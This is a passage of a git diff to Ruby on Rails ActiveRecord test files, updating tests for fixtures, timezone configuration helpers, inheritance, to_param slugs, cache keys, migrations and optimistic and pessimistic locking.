class LoadAllFixturesTest < ActiveRecord::TestCase
- self.fixture_path = FIXTURES_ROOT + "/all"
- fixtures :all
-
def test_all_there
- assert_equal %w(developers people tasks), fixture_table_names.sort
+ self.class.fixture_path = FIXTURES_ROOT + "/all"
+ self.class.fixtures :all
+
+ if File.symlink? FIXTURES_ROOT + "/all/admin"
+ assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+ end
+ ensure
+ ActiveRecord::FixtureSet.reset_cache
end
end
class LoadAllFixturesWithPathnameTest < ActiveRecord::TestCase
- self.fixture_path = Pathname.new(FIXTURES_ROOT).join('all')
- fixtures :all
-
def test_all_there
- assert_equal %w(developers people tasks), fixture_table_names.sort
+ self.class.fixture_path = Pathname.new(FIXTURES_ROOT).join('all')
+ self.class.fixtures :all
+
+ if File.symlink? FIXTURES_ROOT + "/all/admin"
+ assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+ end
+ ensure
+ ActiveRecord::FixtureSet.reset_cache
end
end
@@ -629,6 +677,12 @@ end
class FoxyFixturesTest < ActiveRecord::TestCase
fixtures :parrots, :parrots_pirates, :pirates, :treasures, :mateys, :ships, :computers, :developers, :"admin/accounts", :"admin/users"
+ if ActiveRecord::Base.connection.adapter_name == 'PostgreSQL'
+ require 'models/uuid_parent'
+ require 'models/uuid_child'
+ fixtures :uuid_parents, :uuid_children
+ end
+
def test_identifies_strings
assert_equal(ActiveRecord::FixtureSet.identify("foo"), ActiveRecord::FixtureSet.identify("foo"))
assert_not_equal(ActiveRecord::FixtureSet.identify("foo"), ActiveRecord::FixtureSet.identify("FOO"))
@@ -641,6 +695,9 @@ class FoxyFixturesTest < ActiveRecord::TestCase
def test_identifies_consistently
assert_equal 207281424, ActiveRecord::FixtureSet.identify(:ruby)
assert_equal 1066363776, ActiveRecord::FixtureSet.identify(:sapphire_2)
+
+ assert_equal 'f92b6bda-0d0d-5fe1-9124-502b18badded', ActiveRecord::FixtureSet.identify(:daddy, :uuid)
+ assert_equal 'b4b10018-ad47-595d-b42f-d8bdaa6d01bf', ActiveRecord::FixtureSet.identify(:sonny, :uuid)
end
TIMESTAMP_COLUMNS = %w(created_at created_on updated_at updated_on)
@@ -734,6 +791,10 @@ class FoxyFixturesTest < ActiveRecord::TestCase
assert_equal("frederick", parrots(:frederick).name)
end
+ def test_supports_label_string_interpolation
+ assert_equal("X marks the spot!", pirates(:mark).catchphrase)
+ end
+
def test_supports_polymorphic_belongs_to
assert_equal(pirates(:redbeard), treasures(:sapphire).looter)
assert_equal(parrots(:louis), treasures(:ruby).looter)
diff --git a/activerecord/test/cases/forbidden_attributes_protection_test.rb b/activerecord/test/cases/forbidden_attributes_protection_test.rb
index 490b599fb6..981a75faf6 100644
--- a/activerecord/test/cases/forbidden_attributes_protection_test.rb
+++ b/activerecord/test/cases/forbidden_attributes_protection_test.rb
@@ -61,4 +61,9 @@ class ForbiddenAttributesProtectionTest < ActiveRecord::TestCase
assert_equal 'Guille', person.first_name
assert_equal 'm', person.gender
end
+
+ def test_blank_attributes_should_not_raise
+ person = Person.new
+ assert_nil person.assign_attributes(ProtectedParams.new({}))
+ end
end
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
index 7dbb6616f8..eaf2cada9d 100644
--- a/activerecord/test/cases/helper.rb
+++ b/activerecord/test/cases/helper.rb
@@ -20,6 +20,9 @@ Thread.abort_on_exception = true
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
# Connect to the database
ARTest.connect
@@ -38,6 +41,11 @@ def in_memory_db?
ActiveRecord::Base.connection_pool.spec.config[:database] == ":memory:"
end
+def mysql_56?
+ current_adapter?(:Mysql2Adapter) &&
+ ActiveRecord::Base.connection.send(:version).join(".") >= "5.6.0"
+end
+
def supports_savepoints?
ActiveRecord::Base.connection.supports_savepoints?
end
@@ -49,11 +57,67 @@ ensure
old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
end
-def with_active_record_default_timezone(zone)
- old_zone, ActiveRecord::Base.default_timezone = ActiveRecord::Base.default_timezone, zone
+def with_timezone_config(cfg)
+ verify_default_timezone_config
+
+ old_default_zone = ActiveRecord::Base.default_timezone
+ old_awareness = ActiveRecord::Base.time_zone_aware_attributes
+ old_zone = Time.zone
+
+ if cfg.has_key?(:default)
+ ActiveRecord::Base.default_timezone = cfg[:default]
+ end
+ if cfg.has_key?(:aware_attributes)
+ ActiveRecord::Base.time_zone_aware_attributes = cfg[:aware_attributes]
+ end
+ if cfg.has_key?(:zone)
+ Time.zone = cfg[:zone]
+ end
yield
ensure
- ActiveRecord::Base.default_timezone = old_zone
+ ActiveRecord::Base.default_timezone = old_default_zone
+ ActiveRecord::Base.time_zone_aware_attributes = old_awareness
+ Time.zone = old_zone
+end
+
+# This method makes sure that tests don't leak global state related to time zones.
+EXPECTED_ZONE = nil
+EXPECTED_DEFAULT_TIMEZONE = :utc
+EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES = false
+def verify_default_timezone_config
+ if Time.zone != EXPECTED_ZONE
+ $stderr.puts <<-MSG
+\n#{self.to_s}
+ Global state `Time.zone` was leaked.
+ Expected: #{EXPECTED_ZONE}
+ Got: #{Time.zone}
+ MSG
+ end
+ if ActiveRecord::Base.default_timezone != EXPECTED_DEFAULT_TIMEZONE
+ $stderr.puts <<-MSG
+\n#{self.to_s}
+ Global state `ActiveRecord::Base.default_timezone` was leaked.
+ Expected: #{EXPECTED_DEFAULT_TIMEZONE}
+ Got: #{ActiveRecord::Base.default_timezone}
+ MSG
+ end
+ if ActiveRecord::Base.time_zone_aware_attributes != EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES
+ $stderr.puts <<-MSG
+\n#{self.to_s}
+ Global state `ActiveRecord::Base.time_zone_aware_attributes` was leaked.
+ Expected: #{EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES}
+ Got: #{ActiveRecord::Base.time_zone_aware_attributes}
+ MSG
+ end
+end
+
+def enable_uuid_ossp!(connection)
+ return false unless connection.supports_extensions?
+ return true if connection.extension_enabled?('uuid-ossp')
+
+ connection.enable_extension 'uuid-ossp'
+ connection.commit_db_transaction
+ connection.reconnect!
end
unless ENV['FIXTURE_DEBUG']
@@ -93,7 +157,7 @@ def load_schema
load SCHEMA_ROOT + "/schema.rb"
- if File.exists?(adapter_specific_schema_file)
+ if File.exist?(adapter_specific_schema_file)
load adapter_specific_schema_file
end
ensure
@@ -102,36 +166,21 @@ end
load_schema
-class << Time
- unless method_defined? :now_before_time_travel
- alias_method :now_before_time_travel, :now
- end
+class SQLSubscriber
+ attr_reader :logged
+ attr_reader :payloads
- def now
- (@now ||= nil) || now_before_time_travel
+ def initialize
+ @logged = []
+ @payloads = []
end
- def travel_to(time, &block)
- @now = time
- block.call
- ensure
- @now = nil
+ def start(name, id, payload)
+ @payloads << payload
+ @logged << [payload[:sql].squish, payload[:name], payload[:binds]]
end
-end
-module LogIntercepter
- attr_accessor :logged, :intercepted
- def self.extended(base)
- base.logged = []
- end
- def log(sql, name, binds = [], &block)
- if @intercepted
- @logged << [sql, name, binds]
- yield
- else
- super(sql, name,binds, &block)
- end
- end
+ def finish(name, id, payload); end
end
module InTimeZone
diff --git a/activerecord/test/cases/hot_compatibility_test.rb b/activerecord/test/cases/hot_compatibility_test.rb
index 96e581ab4c..b4617cf6f9 100644
--- a/activerecord/test/cases/hot_compatibility_test.rb
+++ b/activerecord/test/cases/hot_compatibility_test.rb
@@ -5,7 +5,7 @@ class HotCompatibilityTest < ActiveRecord::TestCase
setup do
@klass = Class.new(ActiveRecord::Base) do
- connection.create_table :hot_compatibilities do |t|
+ connection.create_table :hot_compatibilities, force: true do |t|
t.string :foo
t.string :bar
end
@@ -15,7 +15,7 @@ class HotCompatibilityTest < ActiveRecord::TestCase
end
teardown do
- @klass.connection.drop_table :hot_compatibilities
+ ActiveRecord::Base.connection.drop_table :hot_compatibilities
end
test "insert after remove_column" do
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
index a9be132801..f5f85f2412 100644
--- a/activerecord/test/cases/inheritance_test.rb
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -1,10 +1,11 @@
-require "cases/helper"
+require 'cases/helper'
require 'models/company'
require 'models/person'
require 'models/post'
require 'models/project'
require 'models/subscriber'
require 'models/vegetables'
+require 'models/shop'
class InheritanceTest < ActiveRecord::TestCase
fixtures :companies, :projects, :subscribers, :accounts, :vegetables
@@ -128,6 +129,17 @@ class InheritanceTest < ActiveRecord::TestCase
assert_kind_of Cabbage, cabbage
end
+ def test_alt_becomes_bang_resets_inheritance_type_column
+ vegetable = Vegetable.create!(name: "Red Pepper")
+ assert_nil vegetable.custom_type
+
+ cabbage = vegetable.becomes!(Cabbage)
+ assert_equal "Cabbage", cabbage.custom_type
+
+ vegetable = cabbage.becomes!(Vegetable)
+ assert_nil cabbage.custom_type
+ end
+
def test_inheritance_find_all
companies = Company.all.merge!(:order => 'id').to_a
assert_kind_of Firm, companies[0], "37signals should be a firm"
@@ -176,14 +188,14 @@ class InheritanceTest < ActiveRecord::TestCase
e = assert_raises(NotImplementedError) do
AbstractCompany.new
end
- assert_equal("AbstractCompany is an abstract class and can not be instantiated.", e.message)
+ assert_equal("AbstractCompany is an abstract class and cannot be instantiated.", e.message)
end
def test_new_with_ar_base
e = assert_raises(NotImplementedError) do
ActiveRecord::Base.new
end
- assert_equal("ActiveRecord::Base is an abstract class and can not be instantiated.", e.message)
+ assert_equal("ActiveRecord::Base is an abstract class and cannot be instantiated.", e.message)
end
def test_new_with_invalid_type
@@ -210,9 +222,9 @@ class InheritanceTest < ActiveRecord::TestCase
end
def test_inheritance_condition
- assert_equal 10, Company.count
+ assert_equal 11, Company.count
assert_equal 2, Firm.count
- assert_equal 4, Client.count
+ assert_equal 5, Client.count
end
def test_alt_inheritance_condition
@@ -313,8 +325,12 @@ class InheritanceTest < ActiveRecord::TestCase
assert_kind_of SpecialSubscriber, SpecialSubscriber.find("webster132")
assert_nothing_raised { s = SpecialSubscriber.new("name" => "And breaaaaathe!"); s.id = 'roger'; s.save }
end
-end
+ def test_scope_inherited_properly
+ assert_nothing_raised { Company.of_first_firm }
+ assert_nothing_raised { Client.of_first_firm }
+ end
+end
class InheritanceComputeTypeTest < ActiveRecord::TestCase
fixtures :companies
@@ -323,7 +339,7 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase
ActiveSupport::Dependencies.log_activity = true
end
- def teardown
+ teardown do
ActiveSupport::Dependencies.log_activity = false
self.class.const_remove :FirmOnTheFly rescue nil
Firm.const_remove :FirmOnTheFly rescue nil
@@ -352,4 +368,10 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase
ensure
ActiveRecord::Base.store_full_sti_class = true
end
+
+ def test_sti_type_from_attributes_disabled_in_non_sti_class
+ phone = Shop::Product::Type.new(name: 'Phone')
+ product = Shop::Product.new(:type => phone)
+ assert product.save
+ end
end
diff --git a/activerecord/test/cases/integration_test.rb b/activerecord/test/cases/integration_test.rb
index b0a7cda2f3..dfb8a608cb 100644
--- a/activerecord/test/cases/integration_test.rb
+++ b/activerecord/test/cases/integration_test.rb
@@ -1,11 +1,13 @@
+# encoding: utf-8
+
require 'cases/helper'
require 'models/company'
require 'models/developer'
-require 'models/car'
-require 'models/bulb'
+require 'models/owner'
+require 'models/pet'
class IntegrationTest < ActiveRecord::TestCase
- fixtures :companies, :developers
+ fixtures :companies, :developers, :owners, :pets
def test_to_param_should_return_string
assert_kind_of String, Client.first.to_param
@@ -22,16 +24,59 @@ class IntegrationTest < ActiveRecord::TestCase
assert_equal '1', client.to_param
end
- def test_cache_key_for_existing_record_is_not_timezone_dependent
- ActiveRecord::Base.time_zone_aware_attributes = true
+ def test_to_param_class_method
+ firm = Firm.find(4)
+ assert_equal '4-flamboyant-software', firm.to_param
+ end
- Time.zone = 'UTC'
- utc_key = Developer.first.cache_key
+ def test_to_param_class_method_truncates
+ firm = Firm.find(4)
+ firm.name = 'a ' * 100
+ assert_equal '4-a-a-a-a-a-a-a-a-a', firm.to_param
+ end
+
+ def test_to_param_class_method_truncates_edge_case
+ firm = Firm.find(4)
+ firm.name = 'David HeinemeierHansson'
+ assert_equal '4-david', firm.to_param
+ end
+
+ def test_to_param_class_method_squishes
+ firm = Firm.find(4)
+ firm.name = "ab \n" * 100
+ assert_equal '4-ab-ab-ab-ab-ab-ab', firm.to_param
+ end
+
+ def test_to_param_class_method_multibyte_character
+ firm = Firm.find(4)
+ firm.name = "戦場ヶ原 ひたぎ"
+ assert_equal '4', firm.to_param
+ end
- Time.zone = 'EST'
- est_key = Developer.first.cache_key
+ def test_to_param_class_method_uses_default_if_blank
+ firm = Firm.find(4)
+ firm.name = nil
+ assert_equal '4', firm.to_param
+ firm.name = ' '
+ assert_equal '4', firm.to_param
+ end
+
+ def test_to_param_class_method_uses_default_if_not_persisted
+ firm = Firm.new(name: 'Fancy Shirts')
+ assert_equal nil, firm.to_param
+ end
- assert_equal utc_key, est_key
+ def test_to_param_with_no_arguments
+ assert_equal 'Firm', Firm.to_param
+ end
+
+ def test_cache_key_for_existing_record_is_not_timezone_dependent
+ utc_key = Developer.first.cache_key
+
+ with_timezone_config zone: "EST" do
+ est_key = Developer.first.cache_key
+ assert_equal utc_key, est_key
+ end
end
def test_cache_key_format_for_existing_record_with_updated_at
@@ -45,13 +90,14 @@ class IntegrationTest < ActiveRecord::TestCase
end
def test_cache_key_changes_when_child_touched
- car = Car.create
- Bulb.create(car: car)
+ owner = owners(:blackbeard)
+ pet = pets(:parrot)
+
+ owner.update_column :updated_at, Time.current
+ key = owner.cache_key
- key = car.cache_key
- car.bulb.touch
- car.reload
- assert_not_equal key, car.cache_key
+ assert pet.touch
+ assert_not_equal key, owner.reload.cache_key
end
def test_cache_key_format_for_existing_record_with_nil_updated_timestamps
@@ -84,4 +130,9 @@ class IntegrationTest < ActiveRecord::TestCase
dev.touch
assert_not_equal key, dev.cache_key
end
+
+ def test_named_timestamps_for_cache_key
+ owner = owners(:blackbeard)
+ assert_equal "owners/#{owner.id}-#{owner.happy_at.utc.to_s(:nsec)}", owner.cache_key(:updated_at, :happy_at)
+ end
end
diff --git a/activerecord/test/cases/invalid_connection_test.rb b/activerecord/test/cases/invalid_connection_test.rb
index f2d8f18ec7..8416c81f45 100644
--- a/activerecord/test/cases/invalid_connection_test.rb
+++ b/activerecord/test/cases/invalid_connection_test.rb
@@ -12,11 +12,11 @@ class TestAdapterWithInvalidConnection < ActiveRecord::TestCase
Bird.establish_connection adapter: 'mysql', database: 'i_do_not_exist'
end
- def teardown
+ teardown do
Bird.remove_connection
end
test "inspect on Model class does not raise" do
- assert_equal "#{Bird.name}(no database connection)", Bird.inspect
+ assert_equal "#{Bird.name} (call '#{Bird.name}.connection' to establish a connection)", Bird.inspect
end
end
diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb
index 428145d00b..285172d33e 100644
--- a/activerecord/test/cases/invertible_migration_test.rb
+++ b/activerecord/test/cases/invertible_migration_test.rb
@@ -106,7 +106,23 @@ module ActiveRecord
end
end
- def teardown
+ class RevertNamedIndexMigration1 < SilentMigration
+ def change
+ create_table("horses") do |t|
+ t.column :content, :string
+ t.column :remind_at, :datetime
+ end
+ add_index :horses, :content
+ end
+ end
+
+ class RevertNamedIndexMigration2 < SilentMigration
+ def change
+ add_index :horses, :content, name: "horses_index_named"
+ end
+ end
+
+ teardown do
%w[horses new_horses].each do |table|
if ActiveRecord::Base.connection.table_exists?(table)
ActiveRecord::Base.connection.drop_table(table)
@@ -255,5 +271,20 @@ module ActiveRecord
ActiveRecord::Base.table_name_prefix = ActiveRecord::Base.table_name_suffix = ''
end
+ # MySQL 5.7 and Oracle do not allow to create duplicate indexes on the same columns
+ unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :OracleAdapter)
+ def test_migrate_revert_add_index_with_name
+ RevertNamedIndexMigration1.new.migrate(:up)
+ RevertNamedIndexMigration2.new.migrate(:up)
+ RevertNamedIndexMigration2.new.migrate(:down)
+
+ connection = ActiveRecord::Base.connection
+ assert connection.index_exists?(:horses, :content),
+ "index on content should exist"
+ assert !connection.index_exists?(:horses, :content, name: "horses_index_named"),
+ "horses_index_named index should not exist"
+ end
+ end
+
end
end
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
index 0030f1b464..c373dc1511 100644
--- a/activerecord/test/cases/locking_test.rb
+++ b/activerecord/test/cases/locking_test.rb
@@ -8,6 +8,7 @@ require 'models/legacy_thing'
require 'models/reference'
require 'models/string_key_object'
require 'models/car'
+require 'models/bulb'
require 'models/engine'
require 'models/wheel'
require 'models/treasure'
@@ -16,6 +17,7 @@ class LockWithoutDefault < ActiveRecord::Base; end
class LockWithCustomColumnWithoutDefault < ActiveRecord::Base
self.table_name = :lock_without_defaults_cust
+ self.column_defaults # to test @column_defaults caching.
self.locking_column = :custom_lock_version
end
@@ -26,6 +28,18 @@ end
class OptimisticLockingTest < ActiveRecord::TestCase
fixtures :people, :legacy_things, :references, :string_key_objects, :peoples_treasures
+ def test_quote_value_passed_lock_col
+ p1 = Person.find(1)
+ assert_equal 0, p1.lock_version
+
+ Person.expects(:quote_value).with(0, Person.columns_hash[Person.locking_column]).returns('0').once
+
+ p1.first_name = 'anika2'
+ p1.save!
+
+ assert_equal 1, p1.lock_version
+ end
+
def test_non_integer_lock_existing
s1 = StringKeyObject.find("record1")
s2 = StringKeyObject.find("record1")
@@ -258,6 +272,10 @@ class OptimisticLockingTest < ActiveRecord::TestCase
assert p.treasures.empty?
assert RichPerson.connection.select_all("SELECT * FROM peoples_treasures WHERE rich_person_id = 1").empty?
end
+
+ def test_quoted_locking_column_is_deprecated
+ assert_deprecated { ActiveRecord::Base.quoted_locking_column }
+ end
end
class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
@@ -413,6 +431,17 @@ unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter) || in_memory_db?
assert_equal old, person.reload.first_name
end
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_lock_sending_custom_lock_statement
+ Person.transaction do
+ person = Person.find(1)
+ assert_sql(/LIMIT 1 FOR SHARE NOWAIT/) do
+ person.lock!('FOR SHARE NOWAIT')
+ end
+ end
+ end
+ end
+
if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
def test_no_locks_no_wait
first, second = duel { Person.find 1 }
diff --git a/activerecord/test/cases/log_subscriber_test.rb b/activerecord/test/cases/log_subscriber_test.rb
index 3bdc5a1302..a578e81844 100644
--- a/activerecord/test/cases/log_subscriber_test.rb
+++ b/activerecord/test/cases/log_subscriber_test.rb
@@ -119,11 +119,18 @@ class LogSubscriberTest < ActiveRecord::TestCase
Thread.new { assert_equal 0, ActiveRecord::LogSubscriber.runtime }.join
end
- def test_binary_data_is_not_logged
- skip if current_adapter?(:Mysql2Adapter)
+ unless current_adapter?(:Mysql2Adapter)
+ def test_binary_data_is_not_logged
+ Binary.create(data: 'some binary data')
+ wait
+ assert_match(/<16 bytes of binary data>/, @logger.logged(:debug).join)
+ end
- Binary.create(data: 'some binary data')
- wait
- assert_match(/<16 bytes of binary data>/, @logger.logged(:debug).join)
+ def test_nil_binary_data_is_logged
+ binary = Binary.create(data: "")
+ binary.update_attributes(data: nil)
+ wait
+ assert_match(/<NULL binary data>/, @logger.logged(:debug).join)
+ end
end
end
diff --git a/activerecord/test/cases/migration/change_schema_test.rb b/activerecord/test/cases/migration/change_schema_test.rb
index e37dca856d..5418d913b0 100644
--- a/activerecord/test/cases/migration/change_schema_test.rb
+++ b/activerecord/test/cases/migration/change_schema_test.rb
@@ -11,8 +11,7 @@ module ActiveRecord
@table_name = :testings
end
- def teardown
- super
+ teardown do
connection.drop_table :testings rescue nil
ActiveRecord::Base.primary_key_prefix_type = nil
end
@@ -74,8 +73,8 @@ module ActiveRecord
assert_equal "hello", five.default unless mysql
end
- def test_add_column_with_array
- if current_adapter?(:PostgreSQLAdapter)
+ if current_adapter?(:PostgreSQLAdapter)
+ def test_add_column_with_array
connection.create_table :testings
connection.add_column :testings, :foo, :string, :array => true
@@ -83,13 +82,9 @@ module ActiveRecord
array_column = columns.detect { |c| c.name == "foo" }
assert array_column.array
- else
- skip "array option only supported in PostgreSQLAdapter"
end
- end
- def test_create_table_with_array_column
- if current_adapter?(:PostgreSQLAdapter)
+ def test_create_table_with_array_column
connection.create_table :testings do |t|
t.string :foo, :array => true
end
@@ -98,8 +93,6 @@ module ActiveRecord
array_column = columns.detect { |c| c.name == "foo" }
assert array_column.array
- else
- skip "array option only supported in PostgreSQLAdapter"
end
end
@@ -211,20 +204,18 @@ module ActiveRecord
connection.create_table table_name
end
- def test_add_column_not_null_without_default
- # Sybase, and SQLite3 will not allow you to add a NOT NULL
- # column to a table without a default value.
- if current_adapter?(:SybaseAdapter, :SQLite3Adapter)
- skip "not supported on #{connection.class}"
- end
-
- connection.create_table :testings do |t|
- t.column :foo, :string
- end
- connection.add_column :testings, :bar, :string, :null => false
+ # Sybase, and SQLite3 will not allow you to add a NOT NULL
+ # column to a table without a default value.
+ unless current_adapter?(:SybaseAdapter, :SQLite3Adapter)
+ def test_add_column_not_null_without_default
+ connection.create_table :testings do |t|
+ t.column :foo, :string
+ end
+ connection.add_column :testings, :bar, :string, :null => false
- assert_raise(ActiveRecord::StatementInvalid) do
- connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+ assert_raise(ActiveRecord::StatementInvalid) do
+ connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+ end
end
end
@@ -316,6 +307,22 @@ module ActiveRecord
assert_equal 2000, connection.select_values("SELECT money FROM testings").first.to_i
end
+ def test_change_column_null
+ testing_table_with_only_foo_attribute do
+ notnull_migration = Class.new(ActiveRecord::Migration) do
+ def change
+ change_column_null :testings, :foo, false
+ end
+ end
+ notnull_migration.new.suppress_messages do
+ notnull_migration.migrate(:up)
+ assert_equal false, connection.columns(:testings).find{ |c| c.name == "foo"}.null
+ notnull_migration.migrate(:down)
+ assert connection.columns(:testings).find{ |c| c.name == "foo"}.null
+ end
+ end
+ end
+
def test_column_exists
connection.create_table :testings do |t|
t.column :foo, :string
diff --git a/activerecord/test/cases/migration/change_table_test.rb b/activerecord/test/cases/migration/change_table_test.rb
index 8065541bfe..a6d506b04a 100644
--- a/activerecord/test/cases/migration/change_table_test.rb
+++ b/activerecord/test/cases/migration/change_table_test.rb
@@ -5,10 +5,10 @@ module ActiveRecord
class Migration
class TableTest < ActiveRecord::TestCase
def setup
- @connection = MiniTest::Mock.new
+ @connection = Minitest::Mock.new
end
- def teardown
+ teardown do
assert @connection.verify
end
diff --git a/activerecord/test/cases/migration/column_attributes_test.rb b/activerecord/test/cases/migration/column_attributes_test.rb
index ec2926632c..6a02873cba 100644
--- a/activerecord/test/cases/migration/column_attributes_test.rb
+++ b/activerecord/test/cases/migration/column_attributes_test.rb
@@ -16,40 +16,39 @@ module ActiveRecord
end
def test_add_remove_single_field_using_string_arguments
- assert_not TestModel.column_methods_hash.key?(:last_name)
+ assert_no_column TestModel, :last_name
add_column 'test_models', 'last_name', :string
-
- TestModel.reset_column_information
-
- assert TestModel.column_methods_hash.key?(:last_name)
+ assert_column TestModel, :last_name
remove_column 'test_models', 'last_name'
-
- TestModel.reset_column_information
- assert_not TestModel.column_methods_hash.key?(:last_name)
+ assert_no_column TestModel, :last_name
end
def test_add_remove_single_field_using_symbol_arguments
- assert_not TestModel.column_methods_hash.key?(:last_name)
+ assert_no_column TestModel, :last_name
add_column :test_models, :last_name, :string
-
- TestModel.reset_column_information
- assert TestModel.column_methods_hash.key?(:last_name)
+ assert_column TestModel, :last_name
remove_column :test_models, :last_name
+ assert_no_column TestModel, :last_name
+ end
+ def test_add_column_without_limit
+ # TODO: limit: nil should work with all adapters.
+ skip "MySQL wrongly enforces a limit of 255" if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ add_column :test_models, :description, :string, limit: nil
TestModel.reset_column_information
- assert_not TestModel.column_methods_hash.key?(:last_name)
+ assert_nil TestModel.columns_hash["description"].limit
end
- def test_unabstracted_database_dependent_types
- skip "not supported" unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
-
- add_column :test_models, :intelligence_quotient, :tinyint
- TestModel.reset_column_information
- assert_match(/tinyint/, TestModel.columns_hash['intelligence_quotient'].sql_type)
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_unabstracted_database_dependent_types
+ add_column :test_models, :intelligence_quotient, :tinyint
+ TestModel.reset_column_information
+ assert_match(/tinyint/, TestModel.columns_hash['intelligence_quotient'].sql_type)
+ end
end
# We specifically do a manual INSERT here, and then test only the SELECT
@@ -104,22 +103,22 @@ module ActiveRecord
assert_equal 7, wealth_column.scale
end
- def test_change_column_preserve_other_column_precision_and_scale
- skip "only on sqlite3" unless current_adapter?(:SQLite3Adapter)
-
- connection.add_column 'test_models', 'last_name', :string
- connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
+ if current_adapter?(:SQLite3Adapter)
+ def test_change_column_preserve_other_column_precision_and_scale
+ connection.add_column 'test_models', 'last_name', :string
+ connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
- wealth_column = TestModel.columns_hash['wealth']
- assert_equal 9, wealth_column.precision
- assert_equal 7, wealth_column.scale
+ wealth_column = TestModel.columns_hash['wealth']
+ assert_equal 9, wealth_column.precision
+ assert_equal 7, wealth_column.scale
- connection.change_column 'test_models', 'last_name', :string, :null => false
- TestModel.reset_column_information
+ connection.change_column 'test_models', 'last_name', :string, :null => false
+ TestModel.reset_column_information
- wealth_column = TestModel.columns_hash['wealth']
- assert_equal 9, wealth_column.precision
- assert_equal 7, wealth_column.scale
+ wealth_column = TestModel.columns_hash['wealth']
+ assert_equal 9, wealth_column.precision
+ assert_equal 7, wealth_column.scale
+ end
end
def test_native_types
@@ -168,37 +167,17 @@ module ActiveRecord
assert_equal Date, bob.favorite_day.class
end
- # Oracle adapter stores Time or DateTime with timezone value already in _before_type_cast column
- # therefore no timezone change is done afterwards when default timezone is changed
- unless current_adapter?(:OracleAdapter)
- # Test DateTime column and defaults, including timezone.
- # FIXME: moment of truth may be Time on 64-bit platforms.
- if bob.moment_of_truth.is_a?(DateTime)
-
- with_env_tz 'US/Eastern' do
- bob.reload
- assert_equal DateTime.local_offset, bob.moment_of_truth.offset
- assert_not_equal 0, bob.moment_of_truth.offset
- assert_not_equal "Z", bob.moment_of_truth.zone
- # US/Eastern is -5 hours from GMT
- assert_equal Rational(-5, 24), bob.moment_of_truth.offset
- assert_match(/\A-05:00\Z/, bob.moment_of_truth.zone)
- assert_equal DateTime::ITALY, bob.moment_of_truth.start
- end
- end
- end
-
assert_instance_of TrueClass, bob.male?
assert_kind_of BigDecimal, bob.wealth
end
- def test_out_of_range_limit_should_raise
- skip("MySQL and PostgreSQL only") unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
-
- assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 }
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+ def test_out_of_range_limit_should_raise
+ assert_raise(ActiveRecordError) { add_column :test_models, :integer_too_big, :integer, :limit => 10 }
- unless current_adapter?(:PostgreSQLAdapter)
- assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :integer, :limit => 0xfffffffff }
+ unless current_adapter?(:PostgreSQLAdapter)
+ assert_raise(ActiveRecordError) { add_column :test_models, :text_too_big, :integer, :limit => 0xfffffffff }
+ end
end
end
end
diff --git a/activerecord/test/cases/migration/column_positioning_test.rb b/activerecord/test/cases/migration/column_positioning_test.rb
index 913d935f7c..77a752f050 100644
--- a/activerecord/test/cases/migration/column_positioning_test.rb
+++ b/activerecord/test/cases/migration/column_positioning_test.rb
@@ -9,10 +9,6 @@ module ActiveRecord
def setup
super
- unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
- skip "not supported on #{connection.class}"
- end
-
@connection = ActiveRecord::Base.connection
connection.create_table :testings, :id => false do |t|
@@ -22,39 +18,39 @@ module ActiveRecord
end
end
- def teardown
- super
+ teardown do
connection.drop_table :testings rescue nil
ActiveRecord::Base.primary_key_prefix_type = nil
end
- def test_column_positioning
- assert_equal %w(first second third), conn.columns(:testings).map {|c| c.name }
- end
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_column_positioning
+ assert_equal %w(first second third), conn.columns(:testings).map {|c| c.name }
+ end
- def test_add_column_with_positioning
- conn.add_column :testings, :new_col, :integer
- assert_equal %w(first second third new_col), conn.columns(:testings).map {|c| c.name }
- end
+ def test_add_column_with_positioning
+ conn.add_column :testings, :new_col, :integer
+ assert_equal %w(first second third new_col), conn.columns(:testings).map {|c| c.name }
+ end
- def test_add_column_with_positioning_first
- conn.add_column :testings, :new_col, :integer, :first => true
- assert_equal %w(new_col first second third), conn.columns(:testings).map {|c| c.name }
- end
+ def test_add_column_with_positioning_first
+ conn.add_column :testings, :new_col, :integer, :first => true
+ assert_equal %w(new_col first second third), conn.columns(:testings).map {|c| c.name }
+ end
- def test_add_column_with_positioning_after
- conn.add_column :testings, :new_col, :integer, :after => :first
- assert_equal %w(first new_col second third), conn.columns(:testings).map {|c| c.name }
- end
+ def test_add_column_with_positioning_after
+ conn.add_column :testings, :new_col, :integer, :after => :first
+ assert_equal %w(first new_col second third), conn.columns(:testings).map {|c| c.name }
+ end
- def test_change_column_with_positioning
